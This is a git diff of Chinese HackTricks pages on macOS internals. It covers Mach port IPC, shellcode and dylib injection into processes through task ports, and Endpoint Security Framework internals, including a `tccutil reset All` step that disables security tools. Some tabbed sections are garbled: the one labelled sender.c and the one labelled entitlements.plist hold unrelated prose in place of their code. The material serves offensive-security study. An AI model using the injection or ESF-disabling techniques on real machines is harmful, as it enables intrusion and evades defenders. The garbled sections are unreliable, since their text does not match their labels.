+* **接收权限**,允许接收发送到端口的消息。Mach 端口是 MPSC(多生产者,单消费者)队列,这意味着整个系统中可能只有 **一个接收权限** 对应一个端口(与管道不同,多个进程可以持有指向一个管道读端的文件描述符)。
+* 拥有 **接收权限** 的任务可以接收消息并 **创建发送权限**,使其能够发送消息。最初,只有 **自己的任务** 对其端口拥有接收权限。
+* **发送权限**,允许向端口发送消息。
+* 发送权限可以被 **克隆**,因此拥有发送权限的任务可以克隆权限并将其授予第三个任务。
+* **一次性发送权限**,允许向端口发送一条消息,然后消失。
+* **端口集权限**,表示一个 _端口集_ 而不是单个端口。从端口集中出列消息会从其中一个包含的端口中出列消息。端口集可用于同时监听多个端口,类似于 Unix 中的 `select`/`poll`/`epoll`/`kqueue`。
+* **死命名**,不是实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死命名。
-**任务可以将发送权限传输给其他任务**,使其能够发送消息回来。**发送权限也可以被克隆**,因此任务可以复制并将权限授予第三个任务。结合一个称为**引导服务器**的中间进程,可以实现任务之间的有效通信。
+**任务可以将发送权限传输给其他任务**,使其能够发送消息回来。**发送权限也可以被克隆**,因此一个任务可以复制并将权限授予第三个任务。这与称为 **引导服务器** 的中间进程结合使用,可以实现任务之间的有效通信。
### 文件端口
-文件端口允许在Mac端口中封装文件描述符(使用Mach端口权限)。可以使用`fileport_makeport`从给定的FD创建`fileport`,并使用`fileport_makefd`从`fileport`创建FD。
+文件端口允许在 Mac 端口中封装文件描述符(使用 Mach 端口权限)。可以使用 `fileport_makeport` 从给定的 FD 创建一个 `fileport`,并使用 `fileport_makefd` 从一个 fileport 创建一个 FD。
### 建立通信
#### 步骤:
-如前所述,为了建立通信通道,**引导服务器**(mac中的**launchd**)参与其中。
+如前所述,为了建立通信通道,**引导服务器**(mac 中的 **launchd**)参与其中。
-1. 任务**A**初始化一个**新端口**,在进程中获得一个**接收权限**。
-2. 作为接收权限持有者的任务**A**,**为端口生成一个发送权限**。
-3. 任务**A**与**引导服务器**建立**连接**,通过引导注册过程提供**端口的服务名称**和**发送权限**。
-4. 任务**B**与**引导服务器**交互,执行服务名称的引导**查找**。如果成功,**服务器复制从任务A接收的发送权限**并**传输给任务B**。
-5. 获得发送权限后,任务**B**能够**制定**一条**消息**并将其**发送给任务A**。
-6. 对于双向通信,通常任务**B**生成一个带有**接收权限**和**发送权限**的新端口,并将**发送权限提供给任务A**,以便其可以向任务B发送消息(双向通信)。
+1. 任务 **A** 初始化一个 **新端口**,在进程中获得一个 **接收权限**。
+2. 作为接收权限持有者的任务 **A**,为端口 **生成一个发送权限**。
+3. 任务 **A** 与 **引导服务器** 建立一个 **连接**,通过引导注册过程提供 **端口的服务名称** 和 **发送权限**。
+4. 任务 **B** 与 **引导服务器** 交互,执行一个服务名称的引导 **查找**。如果成功,**服务器复制从任务 A 接收到的发送权限**,并将其 **传输给任务 B**。
+5. 一旦获得发送权限,任务 **B** 就能够 **制定** 一条 **消息** 并将其 **发送给任务 A**。
+6. 对于双向通信,通常任务 **B** 生成一个带有 **接收权限** 和 **发送权限** 的新端口,并将 **发送权限交给任务 A**,以便它可以向任务 B 发送消息(双向通信)。
-引导服务器**无法对**任务声称的服务名称进行**身份验证**。这意味着一个**任务**可能潜在地**冒充任何系统任务**,例如虚假**声明授权服务名称**,然后批准每个请求。
+引导服务器**无法对**任务声称的服务名称进行身份验证。这意味着一个 **任务** 可能潜在地 **冒充任何系统任务**,例如虚假 **声明授权服务名称**,然后批准每个请求。
-然后,Apple将**系统提供的服务名称**存储在安全配置文件中,位于**受SIP保护**的目录中:`/System/Library/LaunchDaemons`和`/System/Library/LaunchAgents`。与每个服务名称一起,还存储了**关联的二进制文件**。引导服务器将为这些预定义服务的每个服务名称创建并持有一个**接收权限**。
+然后,Apple 将 **系统提供的服务名称** 存储在安全配置文件中,位于受 SIP 保护的目录:`/System/Library/LaunchDaemons` 和 `/System/Library/LaunchAgents`。在每个服务名称旁边,还存储了 **关联的二进制文件**。引导服务器将为这些预定义服务的每个服务名称创建并持有一个 **接收权限**。
-对于这些预定义服务,**查找过程略有不同**。当查找服务名称时,launchd会动态启动服务。新的工作流程如下:
+对于这些预定义服务,**查找过程略有不同**。当查找服务名称时,launchd 动态启动服务。新的工作流程如下:
-- 任务**B**启动一个服务名称的引导**查找**。
-- **launchd**检查任务是否正在运行,如果没有,则**启动**它。
-- 任务**A**(服务)执行**引导签入**。在这里,**引导**服务器创建一个发送权限,保留它,并**将接收权限传输给任务A**。
-- launchd复制**发送权限并发送给任务B**。
-- 任务**B**生成一个带有**接收权限**和**发送权限**的新端口,并将**发送权限提供给任务A**(服务),以便其可以向任务B发送消息(双向通信)。
+* 任务 **B** 初始化一个服务名称的引导 **查找**。
+* **launchd** 检查任务是否正在运行,如果没有,则 **启动** 它。
+* 任务 **A**(服务)执行一个 **引导签入**。在这里,**引导** 服务器创建一个发送权限,保留它,并将 **接收权限传输给任务 A**。
+* launchd 复制 **发送权限并发送给任务 B**。
+* 任务 **B** 生成一个带有 **接收权限** 和 **发送权限** 的新端口,并将 **发送权限交给任务 A**(服务),以便它可以向任务 B 发送消息(双向通信)。
-然而,此过程仅适用于预定义的系统任务。非系统任务仍按最初描述的方式运行,这可能潜在地允许冒充。
+然而,此过程仅适用于预定义的系统任务。非系统任务仍按最初描述的方式运行,这可能导致冒充。
-### 一个Mach消息
+### 一个 Mach 消息
[在此处查找更多信息](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
-`mach_msg`函数,本质上是一个系统调用,用于发送和接收Mach消息。该函数要求将消息作为初始参数发送。此消息必须以`mach_msg_header_t`结构开头,后跟实际的消息内容。该结构定义如下:
+`mach_msg` 函数,本质上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将消息作为初始参数发送。此消息必须以 `mach_msg_header_t` 结构开头,后跟实际的消息内容。该结构定义如下:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
@@ -91,14 +92,14 @@ mach_msg_id_t msgh_id;
为了实现简单的 **双向通信**,进程可以在 mach **消息头** 中指定一个 **mach 端口**,称为 _回复端口_ (**`msgh_local_port`**),消息的 **接收方** 可以向此消息发送一个回复。**`msgh_bits`** 中的位标志可用于指示应为此端口派生并传输一个 **一次性发送权限** (`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
{% hint style="success" %}
-请注意,这种双向通信通常用于期望回复的 XPC 消息 (`xpc_connection_send_message_with_reply` 和 `xpc_connection_send_message_with_reply_sync`)。但通常会像之前解释的那样创建不同的端口来创建双向通信。
+请注意,这种双向通信在期望回复的 XPC 消息中使用(`xpc_connection_send_message_with_reply` 和 `xpc_connection_send_message_with_reply_sync`)。但通常会像之前解释的那样创建不同的端口来创建双向通信。
{% endhint %}
消息头的其他字段包括:
* `msgh_size`:整个数据包的大小。
* `msgh_remote_port`:发送此消息的端口。
-* `msgh_voucher_port`:[mach 优惠券](https://robert.sesek.com/2023/6/mach\_vouchers.html)。
+* `msgh_voucher_port`:[mach 凭证](https://robert.sesek.com/2023/6/mach\_vouchers.html)。
* `msgh_id`:此消息的 ID,由接收方解释。
{% hint style="danger" %}
@@ -184,7 +185,7 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
```
{% endtab %}
-{% tab title="sender.c" %}在macOS中,进程间通信(IPC)是实现进程之间数据交换和共享的重要机制。macOS提供了多种IPC机制,如管道、套接字、消息传递等。这些机制可以被恶意软件利用来进行特权升级和攻击。因此,了解macOS IPC的工作原理和安全性对于加固系统至关重要。{% endtab %}
+{% tab title="sender.c" %}在macOS中,进程间通信(IPC)是实现进程之间数据交换和共享的重要机制。macOS提供了多种IPC机制,如管道、套接字、消息传递等。这些机制可以被恶意软件利用来进行特权升级和攻击。因此,了解macOS IPC的工作原理和安全性对于加固系统非常重要。{% endtab %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
@@ -241,12 +242,12 @@ printf("Sent a message\n");
- **主机端口**:如果一个进程对这个端口有**发送**权限,他可以获取关于**系统**的**信息**(例如`host_processor_info`)。
- **主机特权端口**:拥有对这个端口的**发送**权限的进程可以执行像加载内核扩展这样的**特权操作**。**进程需要是root**才能获得这个权限。
- 此外,为了调用**`kext_request`** API,需要具有其他授权**`com.apple.private.kext*`**,这些授权只赋予给苹果的二进制文件。
-- **任务名称端口**:_任务端口_的非特权版本。它引用了任务,但不允许控制它。通过它似乎只能获得`task_info()`。
+- **任务名称端口**:_任务端口_的非特权版本。它引用了任务,但不允许控制它。似乎唯一可以通过它获得的是`task_info()`。
- **任务端口**(又名内核端口)**:**拥有对这个端口的发送权限可以控制任务(读/写内存,创建线程等)。
-- 调用`mach_task_self()`为调用者任务**获取**此端口的名称。此端口仅在**`exec()`**跨越时**继承**;使用`fork()`创建的新任务会获得一个新的任务端口(作为一个特例,在suid二进制文件中的`exec()`后,任务也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。
+- 调用`mach_task_self()`来为调用者任务获取此端口的**名称**。此端口仅在**`exec()`**跨进程继承;使用`fork()`创建的新任务会获得一个新的任务端口(作为一个特例,在suid二进制文件中的`exec()`后,任务也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。
- 访问端口的限制(来自二进制文件`AppleMobileFileIntegrity`的`macos_task_policy`)如下:
- - 如果应用程序具有**`com.apple.security.get-task-allow`授权**,来自**相同用户**的进程可以访问任务端口(通常由Xcode用于调试)。**经过公证的**进程不会允许将其用于生产发布。
- - 具有**`com.apple.system-task-ports`授权**的应用程序可以获取任何进程的**任务端口**,除了内核。在旧版本中,它被称为**`task_for_pid-allow`**。这仅授予给苹果应用程序。
+ - 如果应用程序具有**`com.apple.security.get-task-allow`授权**,来自**相同用户的进程可以访问任务端口**(通常由Xcode用于调试)。**经过公证的**进程不允许将其用于生产发布。
+ - 具有**`com.apple.system-task-ports`**授权的应用程序可以获取任何进程的**任务端口**,除了内核。在旧版本中,它被称为**`task_for_pid-allow`**。这仅授予给苹果应用程序。
- **Root可以访问**未使用**强化**运行时编译的应用程序的任务端口(且不是来自苹果)。
### 通过任务端口在线程中注入Shellcode
@@ -290,27 +291,26 @@ return 0;
```
{% endtab %}
-{% tab title="entitlements.plist" %}
+{% tab title="entitlements.plist" %}
-### macOS IPC (Inter-Process Communication)
+## macOS IPC (Inter-Process Communication)
-#### macOS IPC Overview
+### Introduction
-Inter-Process Communication (IPC) mechanisms are essential for processes to communicate with each other on macOS. There are various IPC mechanisms available on macOS, such as Mach ports, XPC services, and Distributed Objects. Understanding how these mechanisms work is crucial for both developers and security researchers to analyze potential attack surfaces and design secure applications.
+Inter-Process Communication (IPC) mechanisms are essential for processes to communicate with each other on macOS. There are various IPC mechanisms available on macOS, such as Mach ports, XPC services, Distributed Objects, and UNIX domain sockets.
-#### Mach Ports
+### Security Implications
-Mach ports are a fundamental IPC mechanism on macOS, allowing processes to send messages and data between each other. Each Mach port is associated with a unique port name and namespace, enabling processes to establish communication channels. Understanding how Mach ports are created, managed, and utilized is important for analyzing IPC-based vulnerabilities and developing secure communication protocols.
+Improperly implemented or misconfigured IPC mechanisms can introduce security vulnerabilities, leading to privilege escalation or unauthorized access to sensitive data. It is crucial to secure IPC mechanisms to prevent potential exploitation by malicious actors.
-#### XPC Services
+### Best Practices
-XPC services provide a high-level API for creating inter-process communication on macOS. XPC services use Mach ports internally to facilitate communication between processes. By understanding how XPC services are implemented and configured, developers can ensure secure communication between different components of their applications.
+- **Use Secure IPC Mechanisms**: Always use secure IPC mechanisms that provide authentication and encryption to protect data confidentiality and integrity.
+- **Implement Proper Access Controls**: Implement proper access controls to restrict which processes can communicate through IPC mechanisms.
+- **Regularly Audit IPC Configuration**: Regularly audit IPC configuration to identify misconfigurations or vulnerabilities that could be exploited.
+- **Monitor IPC Activity**: Monitor IPC activity for any suspicious behavior or unauthorized communication between processes.
-#### Distributed Objects
-
-Distributed Objects is another IPC mechanism on macOS that allows objects to be passed between processes. This mechanism simplifies the development of distributed applications by abstracting the complexity of inter-process communication. Security researchers should be aware of how Distributed Objects are used to prevent potential security risks associated with passing objects between processes.
-
-By understanding the various IPC mechanisms available on macOS and their underlying implementation details, developers and security researchers can enhance the security posture of their applications and mitigate potential privilege escalation and data leakage risks.
+By following these best practices, you can enhance the security of IPC mechanisms on macOS and reduce the risk of privilege escalation and data breaches.
{% endtab %}
```xml
@@ -532,23 +532,23 @@ return 0;
#### macOS IPC Overview
-Inter-Process Communication (IPC) mechanisms are essential for processes to communicate with each other. macOS provides various IPC mechanisms such as Mach ports, XPC services, and UNIX domain sockets. Understanding how these mechanisms work is crucial for both developers and security professionals.
+Inter-Process Communication (IPC) mechanisms are essential for processes to communicate and share data with each other. macOS provides several IPC mechanisms, including Mach ports, XPC services, and UNIX domain sockets. Understanding how these mechanisms work is crucial for both developers and security professionals to ensure secure communication between processes.
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject
```
-### 通过任务端口在线程中进行 Dylib 注入
+### 通过任务端口在线程中进行Dylib注入
在 macOS 中,**线程** 可能通过 **Mach** 或使用 **posix `pthread` api** 进行操作。我们在之前的注入中生成的线程是使用 Mach api 生成的,因此 **它不符合 posix 标准**。
之前我们成功注入了一个简单的 shellcode 来执行命令,因为它 **不需要使用 posix** 兼容的 api,只需要使用 Mach。**更复杂的注入** 需要线程也 **符合 posix 标准**。
-因此,为了 **改进线程**,应该调用 **`pthread_create_from_mach_thread`**,这将 **创建一个有效的 pthread**。然后,这个新的 pthread 可以 **调用 dlopen** 来 **从系统加载 dylib**,因此不需要编写新的 shellcode 来执行不同的操作,而是可以加载自定义库。
+因此,为了 **改进线程**,应该调用 **`pthread_create_from_mach_thread`** 来 **创建一个有效的 pthread**。然后,这个新的 pthread 可以 **调用 dlopen** 来 **从系统加载一个 dylib**,因此不需要编写新的 shellcode 来执行不同的操作,而是可以加载自定义库。
-你可以在这里找到 **示例 dylibs**(例如生成日志然后你可以监听它的示例):
+你可以在这里找到 **示例 dylibs**(例如生成日志并监听的示例):
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
-[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert_libraries.md)
+[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}
@@ -772,14 +772,14 @@ return (-4);
}
-// 创建线程以运行shellcode
+// 创建线程来运行 shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // 这是真正的堆栈
-//remoteStack64 -= 8; // 需要16字节对齐
+//remoteStack64 -= 8; // 需要 16 字节对齐
const char* p = (const char*) remoteCode64;
@@ -808,7 +808,7 @@ int main(int argc, const char * argv[])
if (argc < 3)
{
fprintf (stderr, "用法: %s _pid_ _action_\n", argv[0]);
-fprintf (stderr, " _action_: 磁盘上dylib的路径\n");
+fprintf (stderr, " _action_: 磁盘上 dylib 的路径\n");
exit(0);
}
@@ -820,7 +820,7 @@ int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
-fprintf(stderr,"未找到Dylib\n");
+fprintf(stderr,"未找到 Dylib\n");
}
}
@@ -874,16 +874,17 @@ MIG旨在简化Mach IPC代码创建过程。它基本上为服务器和客户端
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
+{% hint style="success" %}
+学习并练习AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想在HackTricks中看到您的公司广告或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家NFT的收藏品
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md
index 794be3d5c..7ebffe34a 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md
@@ -1,22 +1,23 @@
# macOS系统扩展
+{% hint style="success" %}
+学习和实践AWS Hacking:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践GCP Hacking:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
## 系统扩展 / 端点安全框架
-与内核扩展不同,**系统扩展在用户空间中运行**,而不是内核空间,降低了由于扩展故障导致系统崩溃的风险。
+与内核扩展不同,**系统扩展在用户空间中运行**,而不是内核空间,从而降低了由于扩展故障导致系统崩溃的风险。
@@ -24,7 +25,7 @@
### **DriverKit扩展**
-DriverKit是用于**提供硬件支持**的内核扩展替代方案。它允许设备驱动程序(如USB、串行、NIC和HID驱动程序)在用户空间而不是内核空间中运行。DriverKit框架包括**某些I/O Kit类的用户空间版本**,内核将普通的I/O Kit事件转发到用户空间,为这些驱动程序提供更安全的运行环境。
+DriverKit是内核扩展的替代品,**提供硬件支持**。它允许设备驱动程序(如USB、串行、NIC和HID驱动程序)在用户空间而不是内核空间中运行。DriverKit框架包括**某些I/O Kit类的用户空间版本**,内核将普通的I/O Kit事件转发到用户空间,为这些驱动程序提供更安全的运行环境。
### **Network扩展**
@@ -38,18 +39,18 @@ DriverKit是用于**提供硬件支持**的内核扩展替代方案。它允许
## 端点安全框架
-端点安全是苹果在macOS中提供的一个框架,提供一组用于系统安全的API。它旨在供**安全供应商和开发人员使用,构建可以监视和控制系统活动**以识别和防范恶意活动的产品。
+端点安全是苹果在macOS中提供的一个框架,为系统安全提供一组API。它旨在供**安全供应商和开发人员使用,构建可以监视和控制系统活动**以识别和防范恶意活动的产品。
该框架提供了一组API来监视和控制系统活动,如进程执行、文件系统事件、网络和内核事件。
该框架的核心是在内核中实现的,作为一个位于**`/System/Library/Extensions/EndpointSecurity.kext`**的内核扩展(KEXT)。该KEXT由几个关键组件组成:
-* **EndpointSecurityDriver**:充当内核扩展的“入口点”。它是操作系统与端点安全框架之间的主要交互点。
-* **EndpointSecurityEventManager**:负责实现内核挂钩。内核挂钩允许框架通过拦截系统调用来监视系统事件。
-* **EndpointSecurityClientManager**:管理与用户空间客户端的通信,跟踪连接的客户端并需要接收事件通知。
-* **EndpointSecurityMessageManager**:向用户空间客户端发送消息和事件通知。
+* **EndpointSecurityDriver**:它充当内核扩展的“入口点”。这是操作系统与端点安全框架之间的主要交互点。
+* **EndpointSecurityEventManager**:此组件负责实现内核挂钩。内核挂钩允许框架通过拦截系统调用来监视系统事件。
+* **EndpointSecurityClientManager**:它管理与用户空间客户端的通信,跟踪连接的客户端并需要接收事件通知。
+* **EndpointSecurityMessageManager**:它向用户空间客户端发送消息和事件通知。
-端点安全框架可以监视的事件分为以下类别:
+Endpoint Security框架可以监视的事件分为以下类别:
* 文件事件
* 进程事件
@@ -60,46 +61,47 @@ DriverKit是用于**提供硬件支持**的内核扩展替代方案。它允许
-与端点安全框架的**用户空间通信**通过IOUserClient类进行。根据调用者的类型使用两个不同的子类:
+与Endpoint Security框架的**用户空间通信**通过IOUserClient类进行。根据调用者的类型,使用两个不同的子类:
-* **EndpointSecurityDriverClient**:需要`com.apple.private.endpoint-security.manager`权限,该权限仅由系统进程`endpointsecurityd`持有。
-* **EndpointSecurityExternalClient**:需要`com.apple.developer.endpoint-security.client`权限。这通常由需要与端点安全框架交互的第三方安全软件使用。
+* **EndpointSecurityDriverClient**:这需要`com.apple.private.endpoint-security.manager`权限,该权限仅由系统进程`endpointsecurityd`持有。
+* **EndpointSecurityExternalClient**:这需要`com.apple.developer.endpoint-security.client`权限。这通常由需要与Endpoint Security框架交互的第三方安全软件使用。
-端点安全扩展:**`libEndpointSecurity.dylib`**是系统扩展用于与内核通信的C库。该库使用I/O Kit(`IOKit`)与端点安全KEXT通信。
+Endpoint Security扩展:**`libEndpointSecurity.dylib`**是系统扩展用于与内核通信的C库。该库使用I/O Kit(`IOKit`)与Endpoint Security KEXT通信。
**`endpointsecurityd`**是一个关键的系统守护程序,负责管理和启动端点安全系统扩展,特别是在早期引导过程中。**只有**在其`Info.plist`文件中标记为**`NSEndpointSecurityEarlyBoot`**的**系统扩展**才会接收此早期引导处理。
-另一个系统守护程序**`sysextd`**,**验证系统扩展**并将其移动到适当的系统位置。然后它会要求相关的守护程序加载扩展。**`SystemExtensions.framework`**负责激活和停用系统扩展。
+另一个系统守护程序**`sysextd`**,**验证系统扩展**并将其移动到适当的系统位置。然后,它会要求相关的守护程序加载扩展。**`SystemExtensions.framework`**负责激活和停用系统扩展。
## 绕过ESF
-ESF被安全工具使用,将尝试检测红队人员,因此任何关于如何避免这种情况的信息都是有趣的。
+ESF被安全工具使用,将尝试检测红队人员,因此任何关于如何避免这种情况的信息都很有趣。
### CVE-2021-30965
-问题在于安全应用程序需要具有**完全磁盘访问权限**。因此,如果攻击者可以移除该权限,他就可以阻止软件运行:
+问题在于安全应用程序需要具有**完全磁盘访问权限**。因此,如果攻击者能够移除该权限,他就可以阻止软件运行:
```bash
tccutil reset All
```
-**更多信息**关于这个绕过和相关内容,请查看演讲[#OBTS v5.0: "终端安全的致命弱点" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
+有关此绕过和相关内容的**更多信息**,请查看演讲[#OBTS v5.0: "终端安全的致命弱点" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
-最后,通过将新权限**`kTCCServiceEndpointSecurityClient`**授予由**`tccd`**管理的安全应用程序,解决了这个问题,这样`tccutil`就不会清除其权限,从而阻止其运行。
+最后,通过向由**`tccd`**管理的安全应用程序授予新权限**`kTCCServiceEndpointSecurityClient`**来修复此问题,因此`tccutil`不会清除其权限,从而阻止其运行。
## 参考资料
* [**OBTS v3.0: "终端安全与不安全" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
* [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)
+{% hint style="success" %}
+学习并实践AWS黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并实践GCP黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
index 43b354044..4eda440fa 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
@@ -1,24 +1,25 @@
# macOS 应用程序 - 检查、调试和模糊测试
+{% hint style="success" %}
+学习并练习 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
+支持 HackTricks
-支持 HackTricks 的其他方式:
-
-- 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
-- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏
-- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注**我们。
-- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
### [WhiteIntel](https://whiteintel.io)
-[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 提供支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到 **窃取恶意软件** 的 **侵害**。
+[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
